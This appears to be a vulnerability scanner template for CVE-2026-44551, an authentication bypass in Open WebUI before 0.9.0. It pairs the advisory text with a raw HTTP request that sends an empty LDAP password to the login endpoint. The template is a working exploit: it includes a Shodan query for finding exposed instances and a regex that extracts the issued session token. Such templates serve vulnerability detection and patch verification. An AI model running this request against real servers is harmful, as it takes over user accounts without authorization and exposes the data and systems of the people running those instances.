Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user. This vulnerability is fixed in 0.9.0.
PoC
id: CVE-2026-44551
info:
name: Open WebUI 'LDAP Empty Password' - Authentication Bypass
author: DhiyaneshDk
severity: critical
description: |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user. This vulnerability is fixed in 0.9.0.
impact: |
Attackers can authenticate without a password and obtain full session tokens, leading to unauthorized access.
remediation: |
Update to version 0.9.0 or later.
reference:
- https://github.com/open-webui/open-webui/security/advisories/GHSA-2r4p-jpmg-48f4
- https://nvd.nist.gov/vuln/detail/CVE-2026-44551
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2026-44551
epss-score: 0.01461
epss-percentile: 0.72259
cwe-id: CWE-287
metadata:
verified: true
max-request: 1
shodan-query: http.title:"Open WebUI"
tags: cve,cve2026,open-webui,ldap,auth-bypass
variables:
username: "{{username}}"
http:
- raw:
- |
POST /api/v1/auths/ldap HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"user":"{{username}}","password":""}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"token_type":'
- '{"id":'
- '"name":'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
part: body
group: 1
regex:
- '"token":"([^"]+)"'
# digest: 4a0a0047304502210098448c2ca3f390dba040e79d62fd22f5b21fe24050b4603b58cbe94366a02be5022078f0cebcd457f2dfb4810702f2362544979bf0ff480d886819877afad24a713e:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.